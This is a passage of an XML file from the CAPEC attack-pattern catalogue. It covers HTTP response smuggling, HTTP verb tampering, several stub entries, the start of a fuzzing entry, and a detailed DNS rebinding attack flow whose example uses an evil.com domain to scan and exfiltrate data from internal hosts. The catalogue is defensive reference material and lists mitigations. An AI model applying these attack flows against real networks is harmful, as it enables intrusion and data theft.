					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>667<!--Improper Locking--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>29<!--Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>26<!--Leveraging Race Conditions--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Least Privilege</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>Symlink Race, Wikipedia -
							http://en.wikipedia.org/wiki/Symlink_race</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>Safe temporary file creation with mkstemp -
							http://www.opengroup.org/onlinepubs/009695399/functions/mkstemp.html</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Eric Dalci</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-01</Submission_Date>
						<Submission_Comment/>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-08</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name,
							Description, Likelihood and Related Attack
							Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Amit Sethi</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-29</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="270" Name="Craft a Maliciously Misconfigured Registry"
			Pattern_Abstraction="Standard" Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>269<!--Registry Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="271" Name="Schema Poisoning" Pattern_Abstraction="Meta"
			Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>262<!--Resource Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="272" Name="Protocol Manipulation" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>The attacker subverts a communications protocol to perform an attack.
						These attacks can allow the attacker to impersonate others, discover
						sensitive information, control the outcome of a session, or perform other
						attacks. These attacks target invalid assumptions that may be inherent in
						implementers of the protocol, incorrect implementations of the protocol, or
						vulnerabilities in the protocol itself. </Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The protocol or implementations thereof must contain bugs that an attacker
						can exploit. </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>In some variants of this attack the attacker must be able to intercept
					communications using the protocol. This means they need to be able to receive
					the communications from one participant and prevent the other participant from
					receiving these communications.</Text>
			</Resources_Required>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>262<!--Resource Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="273" Name="HTTP Response Smuggling" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker injects content into a server response that is interpreted
						differently by intermediaries than it is by the target browser. To do this,
						it takes advantage of inconsistent or incorrect interpretations of the HTTP
						protocol by various applications. For example, it might use different block
						terminating characters (CR or LF alone), adding duplicate header fields that
						browsers interpret as belonging to separate responses, or other techniques.
						Consequences of this attack can include response-splitting, cross-site
						scripting, apparent defacement of targeted sites, cache poisoning, or
						similar actions.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted server must allow the attacker to insert content that will
						appear in the server's response.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are needed for this attack.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Employ strict adherence to interpretations of HTTP messages
						wherever possible.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Encode header information provided by user input so that
						user-supplied content is not interpreted by intermediaries.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>436<!--Interpretation Conflict--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>220<!--Client-Server Protocol Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>33<!--HTTP Request Smuggling--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>360<!--WASC Threat Classification 2.0 - WASC-27 - HTTP Response Smuggling--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Link>//www.securiteam.com/securityreviews/5CP0L0AHPC.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Link>//projects.webappsec.org/HTTP-Response-Smuggling</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="274" Name="HTTP Verb Tampering" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker modifies the HTTP Verb (e.g. GET, PUT, TRACE, etc.) in order
						to bypass access restrictions. Some web environments allow administrators to
						restrict access based on the HTTP Verb used with requests. However,
						attackers can often provide a different HTTP Verb, or even provide a random
						string as a verb in order to bypass these protections. This allows the
						attacker to access data that should otherwise be protected.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted system must attempt to filter access based on the HTTP verb
						used in requests.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker requires a tool that allows them to manually control the HTTP
					verb used to sent messages to the targeted server.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Ensure that only legitimate HTTP verbs are allowed.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Do not use HTTP verbs as factors in access decisions.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>302<!--Authentication Bypass by Assumed-Immutable Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>654<!--Reliance on a Single Factor in a Security Decision--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>220<!--Client-Server Protocol Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Link>//www.aspectsecurity.com/documents/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="275" Name="DNS Rebinding" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker serves content whose IP address is resolved by a DNS server
						that it controls and after initial contact by a web browser or similar
						client it changes the IP address to which its name resolves to an address
						within the target browser's organization that is not publicly accessible,
						thus allowing the web browser to examine this internal address on its
						behalf. Web browsers enforce security zones based on DNS names in order to
						prevent cross-zone disclosure of information. In a DNS binding attack an
						attacker publishes content on their own server with their own name and DNS
						server. The first time the target accesses the attacker's content, the
						attacker's name must be resolved to an IP address. The attacker's DNS server
						performs this resolution, providing a short Time-To-Live (TTL) in order to
						prevent the target from caching the value. When the target makes a
						subsequent request to the attacker's content the attacker's DNS server must
						again be queried, but this time the DNS server returns an address internal
						to the target's organization that would not be accessible from an outside
						source. Because the same name resolves to both these IP addresses, browsers
						will place both IP addresses in the same security zone and allow information
						to flow between the addresses. The attacker can then use scripts in the
						content the target retrieved from the attacker in the original message to
						exfiltrate data from the named internal addresses. This allows attackers to
						discover sensitive information about the internal network of an enterprise.
						If there is a trust relationship between the computer with the targeted
						browser and the internal machine the attacker identifies, additional attacks
						are possible. This attack differs from pharming attacks in that the attacker
						is the legitimate owner of the malicious DNS server and so does not need to
						compromise behavior of external DNS services.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Identify potential DNS rebinding
											targets</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker publishes content on their own server
												with their own name and DNS server. Attract HTTP
												traffic and explore rebinding vulnerabilities in
												browsers, flash players of old version. </Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Attacker uses Web advertisements to attract
												the victim to access attacker’s DNS. Explore the
												versions of web browser or flash players in HTTP
												request.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Old versions that have DNS rebinding
												vulnerabilities. </Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>New versions that have fixed DNS rebinding
												vulnerabilities. </Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of browser’s
												information.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No browser’s information in
												HTTP request.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Establish initial target access to
											attacker DNS</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The first time the target accesses the attacker's
												content, the attacker's name must be resolved to an
												IP address. The attacker's DNS server performs this
												resolution, providing a short Time-To-Live (TTL) in
												order to prevent the target from caching the
												value.</Text>
										</Attack_Step_Description>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker finds some local
												active servers.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>The attacker could not find any
												active local server.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Rebind DNS resolution to target
											address</Attack_Step_Title>
										<Attack_Step_Description>
											<Text> the target makes a subsequent request to the
												attacker's content the attacker's DNS server must
												again be queried, but this time the DNS server
												returns an address internal to the target's
												organization that would not be accessible from an
												outside source.</Text>
										</Attack_Step_Description>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker rebinds victim’s
												internal IP address of these servers with his
												server name.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Attacker fails to rebind
												victim’s internal IP address of these servers with
												his server name.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine exploitability of DNS rebinding
											access to target address</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker can then use scripts in the content
												the target retrieved from the attacker in the
												original message to exfiltrate data from the named
												internal addresses.</Text>
										</Attack_Step_Description>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker’s script is
												executed in victim’s
												browser.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Malicious script is not
												executed in victim’s browser, no HTTP request from
												the script.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor external names
												resolving to internal
												addresses.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Prevent external names
												from resolving to internal
												addresses.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Access &amp; exfiltrate data within the
											victim’s security zone:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker can then use scripts in the content
												the target retrieved from the attacker in the
												original message to exfiltrate data from the
												internal addresses. This allows attackers to
												discover sensitive information about the internal
												network of an enterprise.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Attacker attempts to use victim’s browser as
												an HTTP proxy to other resources inside the
												target’s security zone. This allows two IP
												addresses placed in the same security zone.
												</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Attacker tries to scan and access all
												internal hosts in victim’s local network by
												sending multiple short-lived IP addresses.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Two IP addresses placed in the
												same security zone communicating each
												other.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>Attacker can scan and access
												all internal hosts in victim’s local network by
												sending multiple short-lived IP
												addresses.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Failure">
												<Outcome_Description>Attacker fails to access
												internal server’s information.
												</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Update browser or
												flash players to the latest version.
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Prevent external names
												from resolving to internal
												addresses.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text> The target browser must access content server from the attacker
						controlled DNS name. Web advertisements are often used for this purpose. The
						target browser must honor the TTL value returned by the attacker and
						re-resolve the attacker's DNS name after initial contact. </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The attacker registers a domain name, such as www.evil.com with IP
							address 1.3.5.7, delegates it to his own DNS server (1.3.5.2), and uses
							phishing links or emails to get HTTP traffic. Instead of sending a
							normal TTL record, the DNS server sends a very short TTL record (for
							example, 1 second), preventing DNS response of entry[www.evil.com,
							1.3.5.7] from being cached on victim’s (192.168.1.10) browser. The
							attacker’s server first responds to the victim with malicious script
							such as Javascript, containing IP address (1.3.5.7) of the server. The
							attacker uses XMLHttpRequest (XHR) to send HTTP request or HTTPS request
							directly to the attacker’s server and load response. The malicious
							script allows the attacker to rebind the host name to the IP address
							(192.168.1.2) of a target server that is behind the firewall. Then the
							server responds to attacker’s real target, which is an internal host IP
							(192.168.1.2) in the same domain of the victim (192.168.1.10). Because
							the same name resolves to both these IP addresses, browsers will place
							both IP addresses (1.3.5.7 and 192.168.1.2) in the same security zone
							and allow information to flow between the addresses. Further, the
							attacker can achieve scanning and accessing all internal hosts in
							victim’s local network (192.168.X.X). by sending multiple short-lived IP
							addresses. </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Setup DNS server and attacker’s web server. Write malicious script to
							allow victim to connect to web server. </Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>The attacker must serve some web content that a victim accesses initially.
					This content must include executable content that queries the attacker's DNS
					name (to provide the second DNS resolution) and then performs the follow-on
					attack against the internal system. The attacker also requires a customized DNS
					server that serves an IP address for their registered DNS name, but which
					resolves subsequent requests by a single client to addresses internal to that
					client's network.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: IP Pinning causes browsers to record the IP address to which a
						given name resolves and continue using this address regardless of the TTL
						set in the DNS response. Unfortunately, this is incompatible with the design
						of some legitimate sites.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Reject HTTP request with an malicious Host header</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Employ DNS resolvers that prevent external names from
						resolving to internal addresses.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Accountability</Consequence_Scope>
					<Consequence_Scope>Authentication</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Scope>Non-Repudiation</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>A vector specifically crafted to poison DNS cache, so that all traffic is
					redirected to an unintended destination.</Text>
			</Injection_Vector>
			<Payload>
				<Text>DNS TTL record HTTP request with malicious DNS rebinds </Text>
			</Payload>
			<Activation_Zone>
				<Text>Victim’s browser and victim’s local network</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>This attack allows attackers to discover sensitive information about the
						internal network of an enterprise. If there is a trust relationship between
						the computer with the targeted browser and the internal machine the attacker
						identifies, additional attacks are possible.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>247<!--Reliance on DNS Lookups in a Security Decision-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>272<!--Protocol Manipulation-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/272.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>Collin Jackson, Adam Barth, Andrew Bortz, Weidong Shao, Dan
						Boneh</Reference_Author>
					<Reference_Title>Protecting Browsers from DNS Rebinding
						Attacks</Reference_Title>
					<Reference_Publication>In Proceedings of ACM CCS 07</Reference_Publication>
				</Reference>
				<Reference>
					<Reference_Title>DNS rebinding</Reference_Title>
					<Reference_Publisher>Wikipedia</Reference_Publisher>
					<Reference_Link>http://en.wikipedia.org/wiki/DNS_rebinding</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Wendy Jin</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="276" Name="Inter-component Protocol Manipulation"
			Pattern_Abstraction="Standard" Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>272<!--Protocol Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="277" Name="Data Interchange Protocol Manipulation"
			Pattern_Abstraction="Standard" Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>272<!--Protocol Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="279" Name="Soap Manipulation" Pattern_Abstraction="Standard"
			Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>278<!--Web Services Protocol Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="28" Name="Fuzzing" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>Fuzzing is a software testing method that feeds randomly constructed input
						to the system and looks for an indication that a failure in response to that
						input has occured. Fuzzing treats the system as a blackbox and is totally
						free from any preconceptions or assumptions about the system.</Text>
					<Text>An attacker can leverage fuzzing to try to identify weaknesses in the
						system. For instance fuzzing can help an attacker discover certain
						assumptions made in the system about user input. Fuzzing gives an attacker a
						quick way of potentially uncovering some of these assumptions without really
						knowing anything about the internals of the system. These assumptions can
						then be turned against the system by specially crafting user input that may
						allow an attacker to achieve his goals.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Observe communication and
											inputs</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The fuzzing attacker observes the target system
												looking for inputs and communications between
												modules, subsystems, or systems.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Network sniffing. Using a network sniffer
												such as wireshark, the attacker observes
												communications into and out of the target
												system.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
